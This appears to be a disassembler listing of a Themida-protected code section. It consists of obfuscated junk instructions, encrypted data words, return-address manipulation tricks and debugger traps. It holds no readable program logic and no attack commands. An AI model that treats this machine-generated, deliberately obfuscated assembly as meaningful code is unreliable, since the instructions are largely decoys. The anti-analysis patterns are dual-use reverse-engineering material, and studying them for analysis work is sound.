loc_5ED1C8: ; CODE XREF: Themida_:005ED1C9j dec ebx jle short loc_5ED1C8 ; --------------------------------------------------------------------------- db 75h dd 76456FCFh, 8AFD7A5Eh, 69CB53BAh, 0D948F791h, 0F8FB66FEh dd 8A50FCD1h ; --------------------------------------------------------------------------- and ah, [ebx] pop ds loc_5ED1E7: ; CODE XREF: Themida_:005ED20Bj mov esp, 4056F787h mov al, ds:52DA07Ch and [ebx+6D92EC2Ch], ah ja short loc_5ED190 jp short loc_5ED248 int 0C1h ; used by BASIC while in interpreter jns short loc_5ED256 mov dh, [eax+5Fh] locret_5ED202: ; CODE XREF: Themida_:005ED187j retf ; --------------------------------------------------------------------------- loc_5ED203: ; CODE XREF: Themida_:loc_5ED18Ej ; Themida_:005ED21Fj ... imul esi, esp, 79D3ED1h js short near ptr loc_5ED203+5 jnz short loc_5ED1E7 retn 0CD9Bh ; --------------------------------------------------------------------------- dd 0DE9B5954h ; --------------------------------------------------------------------------- loc_5ED214: ; CODE XREF: Themida_:005ED195j shr bh, 1 fadd dword ptr [ebx-75h] jl short near ptr loc_5ED1B5+1 fimul word ptr [eax] xchg eax, edx xchg eax, ebp ja short near ptr loc_5ED203+3 jp short near ptr loc_5ED22D+1 db 36h rep jb short near ptr loc_5ED1AC+3 outsb xchg ch, bh fadd dword ptr [ebx-60h] loc_5ED22D: ; CODE XREF: Themida_:005ED221j jl short locret_5ED27C lds edx, [ecx+edi*2-53h] mov bh, [edx-6E9634A1h] and [ebx-6481D40Ah], bl jle short near ptr loc_5ED267+1 sbb al, 56h mov dh, 1Ah imul edi, 75h loc_5ED248: ; CODE XREF: Themida_:005ED1F9j jns short near ptr loc_5ED272+1 adc eax, 0FD7ABE4Eh das mov al, gs:59A57B89h loc_5ED256: ; CODE XREF: Themida_:005ED1FDj cmp eax, 0DF709491h cmc pop es mov edx, 0D183FE4Dh db 3Eh popf add [ebx-3], bh loc_5ED267: ; CODE XREF: Themida_:005ED23Fj jnz short loc_5ED293 xchg eax, edx loope loc_5ED2E3 mov esp, 844EA77Ah push cs loc_5ED272: ; CODE XREF: Themida_:loc_5ED248j adc al, ch dec ecx rcl byte ptr [esi], 1 test eax, 75FCA77Fh ; CODE XREF: Themida_:005ED299j locret_5ED27C: ; CODE XREF: Themida_:loc_5ED22Dj retf ; --------------------------------------------------------------------------- db 8Ch, 0BEh, 74h dd 26D30FEDh, 75FF7B1Ah, 360B2079h, 548872BDh db 65h, 0A0h, 89h ; --------------------------------------------------------------------------- loc_5ED293: ; CODE XREF: Themida_:loc_5ED267j push 913D59A5h xchg eax, esp jo short near ptr loc_5ED277+3 cmc pop es mov edx, 85B5FF4Dh push 0FB66C450h das pop ds pop edi std push ecx fidiv dword ptr [ecx+3Fh] adc esi, ebp mov ecx, 9285E94Dh mov ebp, 4D7A9774h hlt ; --------------------------------------------------------------------------- dd 74359261h, 2D157AE5h, 0DEFD7AF2h, 75FC5791h, 0DF60CABCh dd 0DF61CA9Dh, 75FC5BC7h, 13451C97h ; --------------------------------------------------------------------------- dec edx sbb al, 56h loc_5ED2DF: ; CODE XREF: Themida_:005ED2EFj popf loc_5ED2E0: ; CODE XREF: Themida_:005ED2E1j inc ebx jnp short loc_5ED2E0 loc_5ED2E3: ; CODE XREF: Themida_:005ED26Aj jnz short loc_5ED2FF dec esp loc_5ED2E6: ; CODE XREF: Themida_:loc_5ED2FFj std jnz short loc_5ED362 sbb al, 56h popf mov dh, 7Bh std jnz short loc_5ED2DF out 57h, eax mov dh, 9Fh out 57h, al popf imul edi, [edx-3], 0FCF32375h loc_5ED2FF: ; CODE XREF: Themida_:loc_5ED2E3j jnz short loc_5ED2E6 ; --------------------------------------------------------------------------- db 8Ch, 0BEh, 74h dd 0C5F20FFAh, 6515D0F9h, 0DFFD7ABCh, 7DF99EDEh, 0AA158448h dd 0C5FD7A97h, 0CD3ED056h, 75FD7AE2h, 43D4EF0Dh, 0C0707C65h dd 73E14F4Ch, 7F518A5Dh, 0E002D02Ch, 73E14CB2h, 74E59208h dd 254D7AE5h, 9D5779F8h, 8A02844Bh, 75FC4354h, 7FA5CA5Eh dd 0C53ED02Ch, 274DD0C7h, 8BE19261h db 1Ah, 85h ; --------------------------------------------------------------------------- loc_5ED362: ; CODE XREF: Themida_:005ED2E7j wait int 0FDh dec ebx wait ficom word ptr [ecx+438A036Bh] retf 0DFA7h ; --------------------------------------------------------------------------- dd 0B65722EEh, 2257929Fh, 750C923Ch, 0FEA77ACBh, 0F63F5122h dd 77747E1Ah, 8A008B91h, 75059243h, 2D4D7A5Eh, 0B6577925h dd 405FFF69h, 0C87D7CD7h, 73E14F47h, 0F8EC0FF3h, 69CB6EFCh dd 61152ABAh, 9DFD7A5Ch, 75FD781Bh, 9D571A27h, 8A028775h dd 8A00C30Dh, 0DF9CCA0Dh, 405FF787h, 0C87D7CA0h, 73E14FFCh dd 0F8F10F2Fh, 69CB6E12h, 0DE152ACDh, 0B6FD7AE4h, 75FD7E4Ah dd 5C688579h, 0F8FB668Ah, 69C70BC3h, 6DF9F029h, 9C4DB93Dh dd 9D562D61h, 75FD7A8Eh, 5E3AF1A8h, 7115F9BBh, 8A3E7835h dd 69CB5FCBh, 514ACE29h, 0C1FF0E96h, 13F2CA74h, 75C9924Eh dd 9DAE7AF2h, 75FD7A27h, 0B5FEF0E6h, 0B5F179BEh, 0B6577825h dd 43D8EF68h, 917D7CD7h, 0F539FAEAh, 0DE9B7542h, 5A15D12Eh dd 2F028541h, 0B7D6BDD5h, 0FCF992ACh, 7345B995h, 8AFD7ACBh dd 69CB5370h, 7D60F7F4h, 0F8FB664Fh, 0CD3E39A0h, 75FD7A4Eh dd 43D4EFD0h, 0B57E7C8Bh, 8935F1CEh, 43D8EF1Ah, 97577CEEh dd 0BE15B98Eh, 0FF028543h, 72D97B1Dh, 76778E5Ah, 75FC6C7Fh dd 0B61608CBh, 8908831Dh, 0F611F1A7h, 9D9D86BDh, 75FD7ABCh dd 0F417FB04h, 0FCFB6615h, 0CF7D86EAh, 73E14CEFh, 0EC7975E5h dd 0CDFD7AF2h, 75FD7A73h, 43D4E843h, 0FCBD7C42h, 69CB57ADh dd 0F835F191h, 69C62F79h, 506F85E3h, 0FDFB66C4h, 801F3C7Fh dd 75FD6D04h, 587F795Eh, 35FB6619h, 4EB4E01Ah, 0B67E7CD7h dd 22FEF3E1h, 75FD644Bh, 58777979h, 0F8FB668Ah, 69C64DECh dd 2B598929h, 75FD722Fh, 5C6F85CBh, 0F6FB66D3h, 85897E0Ah dd 72447C71h, 7DFD7ABCh, 0C3F24B5Ah db 0F7h byte_5ED535 db 0BBh, 1Eh, 76h ; DATA XREF: Themida_:0057B0FCo dd 75FD742Eh, 44E172CBh, 75FD765Ch, 44F972F2h, 75FD61C0h dd 44F972BCh, 75FD66E7h, 44F9722Fh, 8A015B7Fh, 8980F334h dd 8980F184h, 9DADB93Bh, 75FD7A7Fh, 1102229Ch, 0FCA58E7Ah dd 0E9055E6Bh, 89D93E16h, 67C92CB3h, 0B6AD3A78h, 75FD7AF2h dd 75FD7A79h, 0FEA87ABCh, 75151AB2h, 2FFD7A2Fh, 4E959016h dd 0CF707CD7h, 73E14CD4h, 0CCF50F79h, 75FD7A71h, 0BC9CDE4Fh dd 26FD7E9Ch, 43CCE7A2h, 497D7C8Bh, 71887BD3h, 771683BEh dd 203E82A9h, 9D9D96F2h, 75FD7ABCh, 0D417FB04h, 0F8FB6614h dd 69CB4B25h, 7D80F1CDh, 75FD725Ch, 145989F2h, 75F9B8B0h dd 4440F7DCh, 46FB6668h, 75F5C3EFh, 0DF0E7A97h, 0F89DB9AAh dd 69CB4B58h, 74C2FBF4h, 0FC7B78h, 7182FBB0h, 74FC7B5Fh dd 9E04795Ah, 0B69C8296h, 4440F7ABh, 0CDFB66D3h, 75FD7AF3h dd 75FD72C0h, 145789BCh, 0FE3DF19Dh, 4B78F7EFh, 8AFB66A1h dd 0E8CA8BD0h, 10h, 0EF2E510Fh, 3F80CA04h, 9C95D3DAh, 0C6D135CDh dd 0D38B6660h, 61C18B66h, 14E85259h, 0AD000000h, 36CAEA5Ah dd 3F91B27h, 0E96AE032h, 0C25D8436h, 8AC03512h, 815A5AD0h dd 6E8FC1h, 0F98B6600h, 1B6868h, 0F98B6600h, 1BB6658h dd 81318BDFh, 681439C6h, 24F6813Dh, 80127F60h, 0EE816ED6h dd 76655673h, 8F0Fh, 31890000h, 7E9h, 0C53EFD00h, 13710ECCh dd 6CB3E981h, 8D0F3240h, 14h, 0E870Fh, 8E80000h, 0F0000000h dd 3C34164Ah, 5A228547h, 6CAFC181h, 8D0F3240h, 3, 8128D780h dd 1E8h, 12850F00h, 8A000000h, 39E9F4h, 3FB90000h, 0EDFA21Dh dd 9563D742h, 11E86Ch db 2 dup(0) word_5ED70E dw 162Ah ; DATA XREF: Themida_:0057C9E4o dd 4BB32D4h, 0B1FC0C96h, 3472FE9Ah, 0F6C26F8h, 0E95FFAB7h dd 0FFFFFF69h, 5A23F555h, 0A6F02F80h, 0D92CE4DAh, 8DF937EAh dd 1C3DFD8Dh, 0B5BD8906h, 0F06152Fh, 1D82h, 178E0F00h dd 0E9000000h, 12h, 0E07409B1h, 879C075Ch, 6D05FB0Ah, 0A358555Fh dd 8D892A3Dh, 6152721h, 69DA8166h, 0CD85C7EBh, 0C0061504h dd 6A00006Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 95FCC352h, 56FA2CAFh, 0C7816683h dd 85C71F3Ch, 6151115h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5ED7B7 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED7B7 proc near ; CODE XREF: Themida_:005ED7AFp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5ED7B7 endp ; --------------------------------------------------------------------------- sbb [ebx+1502A985h], cl push es mov [ebp+615161Dh], edx push dword ptr [ebp+6152F59h] push 0 push eax call sub_5ED7E5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED7E5 proc near ; CODE XREF: Themida_:005ED7DDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5ED7E5 endp ; --------------------------------------------------------------------------- db 0EEh, 72h, 44h dd 1EC72C6h, 95FFC68Bh, 61502C9h, 0E8D7BF0Fh, 7, 67242D03h dd 0E934B14Eh, 0Ch, 0E4293222h, 0D79534B5h, 86C7198Ch dd 0FF006A58h, 152E2195h, 0EBC08B06h, 63D6ED4Dh, 1F3AB5CAh dd 921951E0h, 0D90E8429h, 5685C3F4h, 0BF1714C4h, 9F015FF9h dd 4C4C6BEh, 0FFE6109h, 4D1AFFBAh, 85F3AFA2h, 0FBC4DB06h dd 1C22710Fh, 18057CA1h, 0C2226798h, 67911F71h, 8C3A7055h dd 0EF8239F2h, 4F943AA8h, 8D8D1C08h, 61C3EF6h, 0A7FFBF66h dd 27218D89h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 0E0366DC3h, 85893D0Eh, 6152C75h dd 18B5B589h, 85C70615h, 61504CDh, 5E54h, 17058529h, 85C70615h dd 6151115h, 0 ; --------------------------------------------------------------------------- and edx, [ebp+61533B5h] push dword ptr [ebp+6152CBDh] or esi, [ebp+6151331h] jmp loc_5ED8F0 ; --------------------------------------------------------------------------- db 0E3h dd 0A8978032h ; --------------------------------------------------------------------------- loc_5ED8F0: ; CODE XREF: Themida_:005ED8E6j call dword ptr [ebp+61502C9h] push 0 push ecx call sub_5ED901 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5ED901 proc near ; CODE XREF: Themida_:005ED8F9p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5ED901 endp ; --------------------------------------------------------------------------- db 28h, 0Fh, 87h dd 6, 1829BD8Bh, 6A0615h, 2E2195FFh, 0C08B0615h, 0DD1A1BEBh dd 6C8A19D9h, 42239DAFh, 0EFC0495Ah, 0AD1B3BC6h, 0E9CBA3FEh dd 89788FF5h, 0CE8AFh, 137C0000h, 6BA6B369h, 74199B69h dd 870F0370h, 0Eh, 0C9953160h, 8B061504h, 151D499Dh, 8B596106h dd 15056195h, 0FFC18106h, 0F000071h, 5C68D2BFh, 8000001Ch dd 895EF5E2h, 150ACDBDh, 8B398B06h, 152F159Dh, 16F78106h dd 0BB6C5541h, 62478A84h, 0FB4EF81h, 8D0F4BD1h, 5, 0C25026BBh dd 0CFC78131h, 0BB5DDA1Ah, 0E56BFFFh, 6850F57h, 2B000000h dd 15129195h, 0F018F06h, 0E983D3BFh, 6D858B04h, 4E061534h dd 0FFAF850Fh, 0BF0FFFFFh, 2AE9D8h, 4C70000h, 24h, 0E800h dd 815D0000h, 1C3FBFEDh, 24448B06h, 0AD858904h, 0B8061528h dd 0 ; --------------------------------------------------------------------------- lea ecx, [ebp+6154F9Eh] jmp ecx ; --------------------------------------------------------------------------- mov eax, 6754h jmp short loc_5EDA29 ; --------------------------------------------------------------------------- align 4 dd 4 dup(0) dd 1000000h db 1 ; --------------------------------------------------------------------------- loc_5EDA29: ; CODE XREF: Themida_:005EDA11j add [eax+eax], al add [esi+eax], bl push 0 push edi call sub_5EDA3A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDA3A proc near ; CODE XREF: Themida_:005EDA32p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5EDA3A endp ; --------------------------------------------------------------------------- dw 3C8Ch ; --------------------------------------------------------------------------- jg short loc_5EDAAD aaa pusha mov ebx, [ebp+615226Dh] add [ebp+61502A5h], ecx popa nop jmp loc_5EDA6B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 2DC519EAh ; --------------------------------------------------------------------------- push es mov bl, 0D5h loc_5EDA6B: ; CODE XREF: Themida_:005EDA5Ej push eax nop mov bx, di push 0 sub [ebp+6150D1Dh], esi push 0 push 0 push esi call sub_5EDA85 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDA85 proc near ; CODE XREF: Themida_:005EDA7Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5EDA85 endp ; --------------------------------------------------------------------------- pop esi test eax, 583E46C9h jb loc_5EDAA7 mov [ebp+6151551h], edx loc_5EDAA7: ; CODE XREF: Themida_:005EDA9Bj lea eax, [ebp+61C4121h] loc_5EDAAD: ; CODE XREF: Themida_:005EDA4Cj mov ebx, ecx nop mov dx, 5AE4h push eax jnb $+6 nop push 0 push edi call sub_5EDAC7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDAC7 proc near ; CODE XREF: Themida_:005EDABFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5EDAC7 endp ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- enter 0FFFFA825h, 30h mov eax, fs add al, 25h xor ebx, [ebp+6151D8Dh] or di, 6D8h push 0 push 0 push edi call sub_5EDAF8 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDAF8 proc near ; CODE XREF: Themida_:005EDAF0p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh loc_5EDB05: ; CODE XREF: Themida_:005EDB7Ej inc edi push edi retn sub_5EDAF8 endp ; --------------------------------------------------------------------------- test ch, dh jb short loc_5EDB50 mov byte ptr [edx-14h], 1 push 0 pusha cmc mov [ebp+61509F1h], ecx popa call dword ptr [ebp+6152679h] mov [ebp+6150669h], esi jmp loc_5EE0E9 ; --------------------------------------------------------------------------- push 0 push ebp call sub_5EDB37 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDB37 proc near ; CODE XREF: Themida_:005EDB2Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5EDB37 endp ; --------------------------------------------------------------------------- db 0ECh ; --------------------------------------------------------------------------- jnb short loc_5EDBAC xor [ebp+61533B5h], ebx loc_5EDB50: ; CODE XREF: Themida_:005EDB0Aj call $+5 pop ebp sub ebp, 61C4126h push 0 push ebx call sub_5EDB67 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDB67 proc near ; CODE XREF: Themida_:005EDB5Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5EDB67 endp ; --------------------------------------------------------------------------- db 0E1h ; --------------------------------------------------------------------------- xchg ax, dx inc eax int 3 ; Trap to Debugger cmp edi, ecx jecxz short loc_5EDB05 mov dh, 0F5h push 0 push ecx call sub_5EDB8D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDB8D proc near ; CODE XREF: Themida_:005EDB85p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5EDB8D endp ; --------------------------------------------------------------------------- db 23h, 0E4h, 0D7h dd 7A823285h, 4FC9811Dh, 0E872A581h ; --------------------------------------------------------------------------- loc_5EDBAC: ; CODE XREF: Themida_:005EDB48j add al, 0 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- mov al, ds:5000000Fh mov eax, [esp+4] push edi mov ecx, 744BFA37h pop ebx mov eax, [eax] jmp loc_5EDBD8 ; --------------------------------------------------------------------------- db 48h dd 232D50EAh, 37951452h, 0EE180B0Ah, 50CC87BEh ; --------------------------------------------------------------------------- loc_5EDBD8: ; CODE XREF: Themida_:005EDBC2j mov [esp+4], eax mov cx, dx pop eax loc_5EDBE0: ; CODE XREF: Themida_:005EDBFDj jnp loc_5EDBEC mov [ebp+6152925h], esi loc_5EDBEC: ; CODE XREF: Themida_:loc_5EDBE0j call dword ptr [ebp+6152E21h] call sub_5EDC08 mov ebx, [ebx+3Ah] inc ebp pop esi leave jge short loc_5EDBE0 hlt ; --------------------------------------------------------------------------- dd 5F12DCABh, 254BCE60h ; =============== S U B R O U T I N E ======================================= sub_5EDC08 proc near ; CODE XREF: Themida_:005EDBF2p call near ptr loc_5EDC17+3 fnstcw word ptr [esi+61h] in eax, 71h ; CMOS Memory mov eax, 38B64462h loc_5EDC17: ; CODE XREF: sub_5EDC08p mov edi, 0BA660110h sub_5EDC08 endp ; sp-analysis failed push ebx pop ecx pop edx pop edx push esi cld pop ecx lea esi, [ebp+61C3FE4h] push 0 push ebx call sub_5EDC34 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDC34 proc near ; CODE XREF: Themida_:005EDC2Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5EDC34 endp ; --------------------------------------------------------------------------- jmp fword ptr [edi] ; --------------------------------------------------------------------------- dw 0D6B9h dd 1CFC8957h, 6C7293Bh, 6D676552h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 8DC35545h, 0C7D98B4Fh, 6E6F0446h dd 95896C63h, 6152B3Dh, 610846C7h, 6A007373h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 82B3C352h, 6E9A0B1h, 0CE000000h, 5D8F80FAh, 60006A6Bh dd 0D6815E52h, 2F6E400h, 0E4858D61h, 2B061C3Fh, 1503719Dh dd 9BF5006h, 8949B877h, 9E92404h, 8A000000h, 0D017DA9h dd 153E4D7Eh, 17F595FFh, 840F0615h, 19h, 14E9h, 9266E100h dd 0F93BCC40h, 1FB685E3h, 838CA18Ch, 1BA6E3C4h, 0FC00B6Eh dd 2984h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 8B66CB02h, 36BE9D9h, 0BB660000h dd 4C684404h, 56F968C5h, 2404815Fh, 6973BE0h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7DC35242h, 0C94D4B96h dd 4D2EDF82h, 2E999589h, 10E80615h, 59000000h, 12A8F78Dh dd 0B71FA713h, 294377E5h, 0E998D8EBh, 0Ch, 45F6E2ADh, 0C502B502h dd 4A58A98h, 2195FF5Fh, 6A06152Eh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 465BC356h dd 0FEF7B3E8h, 9D8B8CC5h, 61503C1h, 3FE4B58Dh, 0B70F061Ch dd 0BA5060D2h, 4453C85Eh, 6C7615Ah, 36343831h, 446C7F9h dd 31342D37h, 0E98D3360h, 0E906152Eh, 14h, 8FD37432h, 0D998FA76h dd 0EDE1140Eh, 4556E474h, 0D88EB7A2h, 846C761h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5EDE17 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDE17 proc near ; CODE XREF: Themida_:005EDE0Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh loc_5EDE24: ; CODE XREF: Themida_:005EDE29j inc ebx push ebx retn sub_5EDE17 endp ; --------------------------------------------------------------------------- mov al, 21h jle short loc_5EDE24 enter 6240h, 3Ch push 0 push 0 push ebx call sub_5EDE3C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDE3C proc near ; CODE XREF: Themida_:005EDE34p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 18h inc ebx push ebx retn sub_5EDE3C endp ; --------------------------------------------------------------------------- lea ebp, [esi-15h] xchg edx, [ebx-4Eh] push ds lea eax, [ebp+61C3FE4h] mov [ebp+6152585h], esi push eax mov ch, 79h mov [esp], eax xor [ebp+6151345h], esi cld call dword ptr [ebp+61517F5h] push 0 push eax call sub_5EDE7D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDE7D proc near ; CODE XREF: Themida_:005EDE75p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5EDE7D endp ; --------------------------------------------------------------------------- xchg eax, ebx inc esp ror dword ptr [eax+69h], 6Ah sub ch, bl das ja short near ptr loc_5EDEA5+2 mov bh, 0FFh push edx jno loc_5EDEA4 sbb dl, 0AEh loc_5EDEA4: ; CODE XREF: Themida_:005EDE9Bj pop ecx loc_5EDEA5: ; CODE XREF: Themida_:005EDE96j js loc_5EDEB1 mov ebx, [ebp+6153095h] loc_5EDEB1: ; CODE XREF: Themida_:loc_5EDEA5j or eax, eax jz loc_5EDECB sub [ebp+6151889h], edx cld jmp loc_5EE09D ; --------------------------------------------------------------------------- mov [ebp+6150559h], ebx loc_5EDECB: ; CODE XREF: Themida_:005EDEB3j call sub_5EDED4 sub al, 1 ; --------------------------------------------------------------------------- dw 0 ; =============== S U B R O U T I N E ======================================= sub_5EDED4 proc near ; CODE XREF: Themida_:loc_5EDECBp mov edx, 47BF5EFh push eax pusha jno loc_5EDEE3 push edi pop edx loc_5EDEE3: ; CODE XREF: sub_5EDED4+7j jmp loc_5EDEF1 ; --------------------------------------------------------------------------- dd 0BA500176h, 9C4440DAh db 12h ; --------------------------------------------------------------------------- loc_5EDEF1: ; CODE XREF: sub_5EDED4:loc_5EDEE3j popa mov eax, [esp+4] mov dh, 71h mov eax, [eax] mov cx, dx mov [esp+4], eax mov ebx, 0CCB3808h pop eax push 0 push esi call sub_5EDF12 and [esi-3Dh], bl sub_5EDED4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EDF12 proc near ; CODE XREF: sub_5EDED4+36p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5EDF12 endp ; --------------------------------------------------------------------------- dw 0C765h ; --------------------------------------------------------------------------- inc edx xchg eax, esi retn 0F1DDh ; --------------------------------------------------------------------------- db 72h, 0FDh, 0FFh ; --------------------------------------------------------------------------- xchg eax, ebp and [esi], ebp adc eax, 51006A06h call sub_5EDF3C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EDF3C proc near ; CODE XREF: Themida_:005EDF34p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5EDF3C endp ; --------------------------------------------------------------------------- dd 840F6FFAh, 6, 1B63E781h, 0B58D3710h, 61C3FE4h, 694606C7h dd 0FE9656Ch, 33000000h, 0D4881E7Bh, 0DD96673Ch, 62AE2D7Dh dd 46C7FC2Ah, 6E6F6D04h, 0B5B58963h, 8B061508h, 1508318Dh dd 846C706h, 7373616Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0D8C35545h, 1A1CCDADh, 95332B4Ch, 6151509h dd 0C7F8B70Fh, 0C46h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 319BC1C3h, 4985898Eh dd 60061522h, 0E9F28B66h, 14h, 49997470h, 3CF4B485h, 72066A87h dd 956ECF2Ch, 5469BAC9h, 8B006A61h, 153041BDh, 0E4858D06h dd 8B061C3Fh, 151D25BDh, 0B9509006h, 67A0B88Fh, 8B90505Bh dd 1530458Dh, 0E58D8906h, 0FF06151Ch, 1517F595h, 12E806h dd 7B4F0000h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch, 0D0E18167h dd 30358D03h, 0B5B0615h, 33840FC0h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 781FC353h, 83FDD9B9h, 18D89C7h, 8906152Bh, 151675B5h dd 0BE906h, 0B9E90000h, 8BFFFFFAh, 1521719Dh ; --------------------------------------------------------------------------- push es loc_5EE09D: ; CODE XREF: Themida_:005EDEC0j lea esi, [ebp+615720Dh] or [ebp+61507C1h], ebx mov eax, 0 push 0 push esi call sub_5EE0B9 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EE0B9 proc near ; CODE XREF: Themida_:005EE0B1p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5EE0B9 endp ; --------------------------------------------------------------------------- db 97h, 0B8h, 58h dd 4A37556Ch, 958B8123h, 6152295h, 45FE72BFh, 0E9E6FF72h dd 5, 86124D8Ah ; --------------------------------------------------------------------------- cwde loc_5EE0E9: ; CODE XREF: Themida_:005EDB27j mov eax, ecx dec dl push ebx inc eax push gs ror al, 1 dec ebx mov bl, [esi-5457F0C0h] aad 0EAh jnz short loc_5EE174 inc ecx push gs fmulp st(1), st dec ebx mov bh, [edx-74A851A3h] leave dec ebx mov ah, [esi+46h] push gs stosd aad 0EAh jnz short loc_5EE13F inc esi push gs stc into dec ebx mov ch, [ebx+7BA80F46h] iret ; --------------------------------------------------------------------------- db 4Bh dd 0F472D8Ah, 0EAD5ABA8h, 0D42F2575h, 1336134Fh, 171CC003h dd 90A752B4h db 0DFh, 0Dh, 0BEh ; --------------------------------------------------------------------------- loc_5EE13F: ; CODE XREF: Themida_:005EE114j push edi and ecx, edx call near ptr 2FA2779Ah aam 4 sbb al, 36h adc eax, [ebx] shl byte ptr [edi+edx-4Ch], 52h cmpsd nop ; --------------------------------------------------------------------------- dd 57BE0C8Eh, 53E4D121h, 0D42F4396h, 13361DF3h, 1770C003h dd 90A752B4h, 57BE0C3Ah, 53F0D121h ; --------------------------------------------------------------------------- loc_5EE174: ; CODE XREF: Themida_:005EE0FCj xchg eax, esi inc ebx das aam 5Ch sbb eax, 0C0031336h jl short near ptr loc_5EE195+2 mov ah, 52h cmpsd nop mov bh, 0Fh mov esi, 0CCD12157h push ebx xchg eax, esi inc ebx das aam 0D6h push ds adc eax, ss:[ebx] loc_5EE195: ; CODE XREF: Themida_:005EE17Ej ror byte ptr [eax+17h], 0B4h push edx cmpsd nop xor eax, 2157BE0Fh rol esp, 1 push ebx xchg eax, esi inc ebx das aam 0A8h pop ds adc eax, ss:[ebx] rcl byte ptr [eax+17h], 0B4h push edx cmpsd nop mov bl, 0Eh mov esi, 0DCD12157h push ebx xchg eax, esi inc ebx retn ; --------------------------------------------------------------------------- db 0B8h dd 152A5012h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah, 0B4C0D5F2h dd 96A459CDh, 152AA8EDh, 2429458Ah, 96E367A0h, 0D5ADBAB4h dd 152A54A1h, 5564C6CBh, 0EAD5BA41h, 0AE63CE75h, 8FD3Ah dd 5342848Ch, 0EA2211ABh, 245D55FFh, 9C3AABA4h, 0DAC3B9CFh dd 0D7E3A8EDh, 0DAF74586h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0AD6C54A8h, 51A24162h, 0BFEA6603h, 0DB2FEE27h dd 133663E7h, 1129475h, 5AA0D902h, 0AEA459BDh, 51A1EC79h dd 0DC0941AEh, 91D1B22h, 3773BA8Ch, 732ADF10h, 1E28C821h dd 0EA2C489Fh, 152BFD5Bh, 9881508Ch, 4D950A00h, 0A5FBABAEh dd 2C89EFD2h, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 74C0D5F2h, 0DAA459C2h, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0DC30BACCh, 9E2C418Dh, 0FC69CE52h dd 0A5B99783h, 0FA31EFE2h, 